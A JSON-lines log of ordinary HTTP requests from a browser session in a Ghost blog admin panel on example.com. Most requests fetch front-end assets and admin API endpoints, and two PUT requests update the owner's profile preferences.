{"method": "GET", "target": "/ghost/api/admin/themes/active/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/global-search-modal-7K0SXxhj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dirty-confirm-dialog-BY-NFehF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-dirty-confirmation-BZt1qjQk.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/__vite-browser-external-QvLZ7d7o.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/search-index-BVbNE68U.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/open-section-Dbja-jTl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-section-visibility-qAu_ZOpN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/availability-ZBcKUaLw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/notifications/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/users/6af4570fd281b00001a59891/?include=roles", "headers": ["Host: example.com", "Content-Length: 1308", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": "{\"users\":[{\"id\":\"6af4570fd281b00001a59891\",\"name\":\"Alice Example\",\"slug\":\"alice\",\"email\":\"alice@example.com\",\"profile_image\":null,\"cover_image\":null,\"bio\":null,\"website\":null,\"location\":null,\"facebook\":null,\"twitter\":null,\"threads\":null,\"bluesky\":null,\"mastodon\":null,\"tiktok\":null,\"youtube\":null,\"instagram\":null,\"linkedin\":null,\"accessibility\":\"{\\\"nightShift\\\":\\\"system\\\",\\\"onboarding\\\":{\\\"completedSteps\\\":[],\\\"checklistState\\\":\\\"started\\\",\\\"startedAt\\\":\\\"2026-11-11T11:54:12.758Z\\\"},\\\"navigation\\\":{\\\"expanded\\\":{\\\"posts\\\":true,\\\"members\\\":true},\\\"menu\\\":{\\\"visible\\\":true}}}\",\"status\":\"active\",\"meta_title\":null,\"meta_description\":null,\"tour\":null,\"last_seen\":\"2026-11-11T11:54:12.000Z\",\"comment_notifications\":true,\"free_member_signup_notification\":true,\"paid_subscription_started_notification\":true,\"paid_subscription_canceled_notification\":false,\"mention_notifications\":true,\"recommendation_notifications\":true,\"milestone_notifications\":true,\"donation_notifications\":true,\"gift_subscription_notifications\":true,\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:54:12.000Z\",\"roles\":[{\"id\":\"6af4570fd281b00001a59896\",\"name\":\"Owner\",\"description\":\"Blog Owner\",\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:52:47.000Z\"}],\"url\":\"http://example.com/author/alice/\"}]}"}
{"method": "GET", "target": "/ghost/api/admin/identities/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/.ghost/activitypub/v1/notifications/unread/count", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/activity+json", "Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImhXOHdzSHVNYURNZV9nRTVsWHY5dmI1MHl0VWxfQzVxRlV0a1VGdTF2U3cifQ.eyJzdWIiOiJhbGljZUBleGFtcGxlLmNvbSIsInJvbGUiOiJPd25lciIsImlhdCI6MTc5NDM5ODA1MiwiZXhwIjoxNzk0Mzk4MzUyLCJpc3MiOiJodHRwOi8vZXhhbXBsZS5jb20vZ2hvc3QvIn0.RjbXlKtZ_TjYmfctDzYbqNb7NRlIgFi5vt7gc6CduPkNWzj1ZFO5bhwMdp_D-Bglj01RVoZq3KIEi5Ptb33MHVfulH-_KTtef0LUtKEot8iSDUBFjDsI4nD3RGANjkv-FTn3ig_hCYPbUOxtgB4PK7MjkhDDD-_xW41JyQ4xxNtkxKJaCFesD53mbK1y1IrlAFCbxOhHgKYsV3tUTHLZuER5rxYwWqwso7BtLtsu08vBzzhCsVXgfq2l6NB4SdW_XkkQUznze0nHtOuNEMBI3ASwN8E2pHxUUd2Lsw6oXNqtaBdpMKW-OpZKBvzJ47FvDjdx9If36UMcsvE5IxNvMg", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/onboarding-route-CTfF7IJD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/share-modal-D6_apZJH.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/users/6af4570fd281b00001a59891/?include=roles", "headers": ["Host: example.com", "Content-Length: 1369", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": "{\"users\":[{\"id\":\"6af4570fd281b00001a59891\",\"name\":\"Alice Example\",\"slug\":\"alice\",\"email\":\"alice@example.com\",\"profile_image\":null,\"cover_image\":null,\"bio\":null,\"website\":null,\"location\":null,\"facebook\":null,\"twitter\":null,\"threads\":null,\"bluesky\":null,\"mastodon\":null,\"tiktok\":null,\"youtube\":null,\"instagram\":null,\"linkedin\":null,\"accessibility\":\"{\\\"whatsNew\\\":{\\\"lastSeenDate\\\":\\\"2026-11-11T11:54:12.800Z\\\"},\\\"nightShift\\\":\\\"system\\\",\\\"onboarding\\\":{\\\"completedSteps\\\":[],\\\"checklistState\\\":\\\"started\\\",\\\"startedAt\\\":\\\"2026-11-11T11:54:12.758Z\\\"},\\\"navigation\\\":{\\\"expanded\\\":{\\\"posts\\\":true,\\\"members\\\":true},\\\"menu\\\":{\\\"visible\\\":true}}}\",\"status\":\"active\",\"meta_title\":null,\"meta_description\":null,\"tour\":null,\"last_seen\":\"2026-11-11T11:54:12.000Z\",\"comment_notifications\":true,\"free_member_signup_notification\":true,\"paid_subscription_started_notification\":true,\"paid_subscription_canceled_notification\":false,\"mention_notifications\":true,\"recommendation_notifications\":true,\"milestone_notifications\":true,\"donation_notifications\":true,\"gift_subscription_notifications\":true,\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:54:12.000Z\",\"roles\":[{\"id\":\"6af4570fd281b00001a59896\",\"name\":\"Owner\",\"description\":\"Blog Owner\",\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:52:47.000Z\"}],\"url\":\"http://example.com/author/alice/\"}]}"}
{"method": "GET", "target": "/.ghost/activitypub/v1/notifications/unread/count/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/activity+json", "Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImhXOHdzSHVNYURNZV9nRTVsWHY5dmI1MHl0VWxfQzVxRlV0a1VGdTF2U3cifQ.eyJzdWIiOiJhbGljZUBleGFtcGxlLmNvbSIsInJvbGUiOiJPd25lciIsImlhdCI6MTc5NDM5ODA1MiwiZXhwIjoxNzk0Mzk4MzUyLCJpc3MiOiJodHRwOi8vZXhhbXBsZS5jb20vZ2hvc3QvIn0.RjbXlKtZ_TjYmfctDzYbqNb7NRlIgFi5vt7gc6CduPkNWzj1ZFO5bhwMdp_D-Bglj01RVoZq3KIEi5Ptb33MHVfulH-_KTtef0LUtKEot8iSDUBFjDsI4nD3RGANjkv-FTn3ig_hCYPbUOxtgB4PK7MjkhDDD-_xW41JyQ4xxNtkxKJaCFesD53mbK1y1IrlAFCbxOhHgKYsV3tUTHLZuER5rxYwWqwso7BtLtsu08vBzzhCsVXgfq2l6NB4SdW_XkkQUznze0nHtOuNEMBI3ASwN8E2pHxUUd2Lsw6oXNqtaBdpMKW-OpZKBvzJ47FvDjdx9If36UMcsvE5IxNvMg", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/logo-loader-dark-CuSPz-zc.mp4", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: identity", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY", "Range: bytes=0-"], "body": ""}
{"method": "GET", "target": "/ghost/assets/editor-screen-BQzGYHoq.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-limiter-BDyb24mL.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/isPlainObject-B4wq7q-q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/luxon-D0MQDYL8.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/newsletters-Dc9dNenR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/automations-CHwWlIsj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/focus-koenig-editor-on-bottom-click-NfX8T9TL.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/style-A57lkXV2.css", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-host-limits-DLFHO8IN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/box-CvaCx3xG.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/grid-EKVMrdPt.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-pintura-config-DDGo3qjQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/calendar-BqF8KY_y.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/checkbox-USP8gq7k.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/custom-fonts-CMD0ed16.css", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-BzashvGw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/lib-CmL7hMOQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/analytics-Cj7bTZhC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/images-CoVkxhed.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dropzone-nt_3dI2o.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/prop-types-B8rMafi5.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/page-header-BZAQCX93.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/heading-XKAYjT0Z.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/select-De66Q0Np.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/preview-chrome-z36eH2v9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
